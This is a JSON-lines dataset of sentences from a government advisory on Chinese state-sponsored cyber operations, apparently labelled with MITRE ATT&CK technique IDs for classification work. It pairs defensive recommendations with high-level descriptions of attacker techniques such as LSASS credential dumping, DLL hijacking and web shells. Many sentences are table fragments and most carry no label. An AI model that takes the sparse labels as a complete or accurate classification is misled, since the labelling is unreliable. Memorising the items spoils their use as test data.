{"sentence": "Reset credentials after virtual private network (VPN) devices are upgraded and reconnected to the external network.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Revoke and generate new VPN server keys and certificates (this may require redistributing VPN connection information to users).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Disable Remote Desktop Protocol (RDP) if not required for legitimate business functions.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Restrict VPN traffic to and from managed service providers (MSPs)", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "using a dedicated VPN connection.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Review and verify all connections between customer systems, service provider systems, and other client enclaves.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Harden: Software Update [D3-SU] Detect: Network Traffic Analysis Connection Attempt Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Note: this technique also applies to Persistence", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[TA0003], Privilege Escalation [TA0004], and Defense Evasion [TA0005].", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Ensure that MSP accounts are not assigned to administrator groups and restrict those accounts to only systems they manage Do not store credentials or sensitive data in plaintext.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-UBA] Authentication Event Thresholding [D3-ANET] Job Function Access Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-JFAPA] Tactics: Execution", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[TA0002] Table IV: Chinese state-sponsored cyber actors’ Execution TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques Command and Scripting Interpreter", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "]: PowerShell:registered: [T1059.001] Windows:registered: Command Shell [T1059.003] Unix:registered: Shell", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1059.004] Python", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1059.006] JavaScript [T1059.007] Network Device CLI [T1059.008] Chinese state-sponsored cyber actors have been observed: Using cmd.exe, JavaScript/Jscript Interpreter, and network device command line interpreters (CLI).", "labels": ["T1059.003"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Employing Python scripts to exploit vulnerable servers.", "labels": ["T1210"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Using a UNIX shell in order to conduct discovery, enumeration, and lateral movement on Linux:registered: servers in the victim network.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "(Note: this works better in newer versions of PowerShell.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Push Powershell logs into a security information and event management (SIEM) tool.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor for suspicious behavior and commands.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use an antivirus program, which may stop malicious code execution that cyber actors attempt to execute via PowerShell.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Windows Command Shell Restrict use to administrator, developer, or power user systems.", "labels": ["T1059.003"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Consider its use suspicious and investigate, especially if average users run scripts.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Investigate scripts running out of cycle from patching or other administrator functions if scripts are not commonly used on a system, but enabled. Monitor for and investigate other unusual or suspicious scripting behavior.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor for and investigate unusual scripting behavior.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use of the Unix shell may be common on administrator, developer, or power user systems.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions should be considered suspicious.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Python Audit inventory systems for unauthorized Python installations.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Blocklist Python where not required.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Prevent users from installing Python where not required.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "JavaScript Turn off or restrict access to unneeded scripting components.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Network Device Command Line Interface (CLI) Use TACACS+ to keep control over which commands administrators are permitted to use through the configuration of authentication and command authorization.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use an authentication, authorization, and accounting (AAA) systems to limit actions administrators can perform and provide a history of user actions to detect unauthorized use and abuse.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Platform Hardening [D3-PH] Detect: Process Analysis Script Execution Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-SEA] Isolate: Execution Isolation Executable Allowlisting", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-EAL] Scheduled Task/Job [T1053] Cron", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1053.003] Scheduled Task", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1053.005] Chinese state-sponsored cyber actors have been observed using Cobalt Strike, webshells, or command line interface tools, such as schtask or crontab to create and schedule tasks that enumerate victim devices and networks.", "labels": ["T1053.005", "T1059.003"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Note: this technique also applies to Persistence [TA0003] and Privilege Escalation [TA0004].", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "• Monitor scheduled task creation from common utilities using command-line invocation and compare for any changes that do not correlate with known software, patch cycles, or other administrative activity.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "• Configure event logging for scheduled task creation and monitor process execution from svchost.exe (Windows 10) and Windows Task Scheduler (Older version of Windows) to look for changes in %systemroot%\\System32\\Tasks that do not correlate with known software, patch cycles, or other administrative activity.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Additionally monitor for any scheduled tasks created via command line utilities—such as PowerShell or Windows Management Instrumentation (WMI)—that do not conform to typical administrator or user actions.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-SFA] Isolate: Execution Isolation Executable Allowlisting", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-EAL] User Execution [T1204] Malicious Link [T1204.001] Malicious File [T1204.002] Chinese state-sponsored cyber actors have been observed conducting spearphishing campaigns that encourage engagement from the target audience.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Prevent unauthorized execution by disabling macro scripts from Microsoft Office files transmitted via email.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Consider using Office Viewer software to open Microsoft Office files transmitted via email instead of full Microsoft Office suite applications.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Determine if certain categories of websites are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: File Analysis Dynamic Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-HD] URL Analysis [D3-UA] Network Traffic Analysis DNS Traffic Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-DNSTA] Isolate: Execution Isolation Hardware-based Process Isolation [D3-HBPI] Executable Allowlisting", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-EAL] Network Isolation DNS Denylisting [D3-DNSDL] Outbound Traffic Filtering [D3-OTF] Tactics: Persistence [TA0003] Table V: Chinese state-sponsored cyber actors’", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Persistence TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s)", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1574]: DLL Search Order Hijacking [T1574.001] Chinese state-sponsored cyber actors have been observed using benign executables which used Dynamic Link Library (DLL) load-order hijacking to activate the malware installation process.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Note: this technique also applies to Privilege Escalation [TA0004] and Defense Evasion [TA0005].", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Disallow loading of remote DLLs.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Enable safe DLL search mode.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor for changes in system DLLs not associated with updates or patches.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-FAPA] Isolate: Execution Isolation Executable Allowlisting", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-EAL] Modify Authentication Process", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Note: this technique also applies to Defense Evasion", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[TA0005] and Credential Access", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor for modifications to functions exported from authentication DLLs (such as cryptdll.dll and samsrv.dll).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts (for example, one account logged into multiple systems simultaneously, multiple accounts logged into the same machine simultaneously, accounts logged in at odd times or outside of business hours).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor for and correlate changes to Registry entries.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-PA] User Behavior Analysis Authentication Event Thresholding", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-ANET] User Geolocation Logon Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-UGLPA] Server Software Component [T1505]: Web Shell [T1505.003] Chinese state-sponsored cyber actors have been observed planting web shells on exploited servers and using them to provide the cyber actors with access to the victim networks.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Perform integrity checks on critical servers to identify and investigate unexpected changes.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Have application developers sign their code using digital signatures to verify their identity. Identify and remediate web application vulnerabilities or configuration weaknesses.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Implement a least-privilege policy on web servers to reduce adversaries’ ability to escalate privileges or pivot laterally to other hosts and control creation and execution of files in particular directories.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "If not already present, consider deploying a DMZ between web-facing systems and the corporate network.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Limiting the interaction and logging traffic between the two provides a method to identify possible malicious activity.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Ensure secure configuration of web servers.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "All unnecessary services and ports should be disabled or blocked.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "This can include allowlisting or blocking external access to administration panels and not using default login credentials.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use a reverse proxy or alternative service, such as mod_security, to restrict accessible URL paths to known legitimate ones.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Establish, and backup offline, a “known good” version of the relevant server and a regular change management policy to enable monitoring for changes to servable content with a file integrity system.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Employ user input validation to restrict exploitation of vulnerabilities.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Conduct regular system and application vulnerability scans to establish areas of risk.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "While this method does not protect against zero-day exploits, it will highlight possible areas of concern.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Deploy a web application firewall and conduct regular virus signature checks, application fuzzing, code reviews, and server network analysis.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Network Traffic Analysis Client-server Payload Profiling [D3-CSPP] Per Host Download-Upload Ratio Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-PHDURA] Process Analysis Process Spawn Analysis Process Lineage Analysis [D3-PLA] Isolate: Network Isolation Inbound Traffic Filtering [D3-ITF] Create or Modify System Process", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Note: this technique also applies to Privilege Escalation [TA0004].", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Only allow authorized administrators to make service changes and modify service configurations.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor processes and command-line arguments for actions that could create or modify services, especially if such modifications are unusual in your environment.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor WMI and PowerShell for service modifications.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Process Analysis Process Spawn Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-PSA] Tactics: Privilege Escalation [TA0004] Table VI: Chinese state-sponsored cyber actors’ Privilege Escalation TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques Domain Policy Modification", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1484] Group Policy Modification", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1484.001] Chinese state-sponsored cyber actors have also been observed modifying group policies for password exploitation.", "labels": ["T1484.001"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[TA0005]. Identify and correct Group Policy Object (GPO) permissions abuse opportunities (e.g., GPO modification privileges) using auditing tools.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor directory service changes using Windows event logs to detect GPO modifications.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Several events may be logged for such GPO modifications.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Consider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Network Traffic Analysis Administrative Network Activity Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-ANAA] Platform Monitoring Operating System Monitoring System File Analysis [D3-SFA] Process Injection", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1055]: Dynamic Link Library Injection [T1055.001] Portable Executable Injection", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Note: this technique also applies to", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Defense Evasion", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use endpoint protection software to block process injection based on behavior of the injection process.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor DLL/Portable Executable (PE) file events, specifically creation of these binary files as well as the loading of DLLs into processes.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Look for DLLs that are not recognized or not normally loaded into a process.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "To minimize the probable impact of a threat actor using Mimikatz, always limit administrative privileges to only users who actually need it; upgrade Windows to at least version 8.1 or 10; run Local Security Authority Subsystem Service (LSASS) in protected mode on Windows 8.1 and higher; harden the local security authority (LSA) to prevent code injection.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-MAC] Tactics: Defense Evasion", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[TA0005] Table VII:", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Chinese state-sponsored cyber actors’ Defensive Evasion TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques Deobfuscate/Decode Files or Information [T1140] Chinese state-sponsored cyber actors were observed using the 7-Zip utility to unzip imported tools and malware files onto the victim device.", "labels": ["T1140"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Consider blocking, disabling, or monitoring use of 7-Zip. Detect:", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Process Analysis Process Spawn Analysis [D3-PSA] Isolate: Execution Isolation Executable Denylisting", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1564] Chinese state-sponsored cyber actors were observed using benign executables which used DLL load-order hijacking to activate the malware installation process.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts, such as executables using DLL load-order hijacking that can activate malware.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Process Analysis File Access Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Several files that the cyber actors target would be timestomped, in order to show different times compared to when those files were created/used.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Make the environment variables associated with command history read only to ensure that the history is preserved.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor for command-line deletion functions to correlate with binaries or other files that an adversary may create and later remove.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor and record file access requests and file handles.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "An original file handle can be correlated to a compromise and inconsistencies between file timestamps and previous handles opened to them can be a detection rule.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Platform Monitoring Operating System Monitoring System File Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-SFA] Process Analysis File Access Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-EAL] Obfuscated Files or Information [T1027] Chinese state-sponsored cyber actors were observed Base64 encoding files and command strings to evade security measures.", "labels": ["T1027"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 to analyze commands after being processed/interpreted.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1218] Mshta [T1218.005] Rundll32 [T1218.011] Chinese state-sponsored cyber actors were observed using Microsoft signed binaries, such as Rundll32, as a proxy to execute malicious payloads.", "labels": ["T1218.011"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor processes for the execution of known proxy binaries (e.g., rundll32.exe) and look for anomalous activity that does not follow historically good arguments and loaded DLLs associated with the invocation of the binary.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Credential Access", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Update and patch software regularly.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use cyber threat intelligence and open-source reporting to determine vulnerabilities that threat actors may be actively targeting and exploiting; patch those vulnerabilities immediately.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Platform Hardening Software Update [D3-SU] Credential Hardening Multi-factor Authentication [D3-MFA] OS Credential Dumping [T1003] • LSASS Memory [T1003.001] • NTDS", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1003.003] Chinese state-sponsored cyber actors were observed targeting the LSASS process or Active directory (NDST.DIT) for credential dumping.", "labels": ["T1003.001"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Ensure that local administrator accounts have complex, unique passwords across all systems on the network.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Consider disabling or restricting NTLM.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Enable Protected Process Light for LSA on Windows 8.1 and Windows Server 2012 R2.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Harden: Credential Hardening [D3-CH] Detect: Process Analysis File Access Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1083] Chinese state-sponsored cyber actors have been observed using multiple implants with file system enumeration and traversal capabilities.", "labels": ["T1083"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor processes and command-line arguments for actions that could be taken to gather system and network information.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "WMI and PowerShell should also be monitored.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: User Behavior Analysis Job Function Access Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-JFAPA] Process Analysis Database Query String Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-FAPA] Process Spawn Analysis [D3-PSA] Permission Group Discovery [T1069] Chinese state-sponsored cyber actors have been observed using commands, including net group and net localgroup, to enumerate the different user groups on the target network.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Remote access tools with built-in features may interact directly with the Windows API to gather information.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-PSA] System Call Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-SCA] User Behavior Analysis [D3-UBA] Process Discovery [T1057] Chinese state-sponsored cyber actors have been observed using commands, including tasklist, jobs, ps, or taskmgr, to reveal the running processes on victim devices.", "labels": ["T1057"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-SCA] User Behavior Analysis [D3-UBA] Network Service Scanning [T1046] Chinese state-sponsored cyber actors have been observed using Nbtscan and nmap to scan and enumerate target network information.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "• Ensure that unnecessary ports and services are closed to prevent discovery and potential exploitation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "• Use network intrusion detection and prevention systems to detect and prevent remote service scans such as Nbtscan or nmap.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "• Ensure proper network segmentation is followed to protect critical servers and devices to help mitigate potential exploitation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-CAA] Isolate: Network Isolation Inbound Traffic Filtering [D3-ITF] Remote System Discovery", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1018] Chinese state-sponsored cyber actors have been observed using Base-64 encoded commands, including ping, net group, and net user to enumerate target network information.", "labels": ["T1027"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-JFAPA] Tactics: Lateral Movement", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[TA0008] Table X: Chinese state-sponsored cyber actors’ Lateral Movement TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s)", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detection and Mitigation Recommendations Defensive Tactics and Techniques Exploitation of Remote Services [T1210] Chinese state-sponsored cyber actors used valid accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, RDP, and Virtual Network Computing (VNC).", "labels": ["T1078", "T1210"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Chinese state-sponsored cyber actors also used on-premises Identity and Access Management (IdAM) and federation services in hybrid cloud environments in order to pivot to cloud resources.", "labels": ["T1078"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Chinese state-sponsored cyber actors used valid accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, RDP, and Virtual Network Computing (VNC).", "labels": ["T1078", "T1210"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
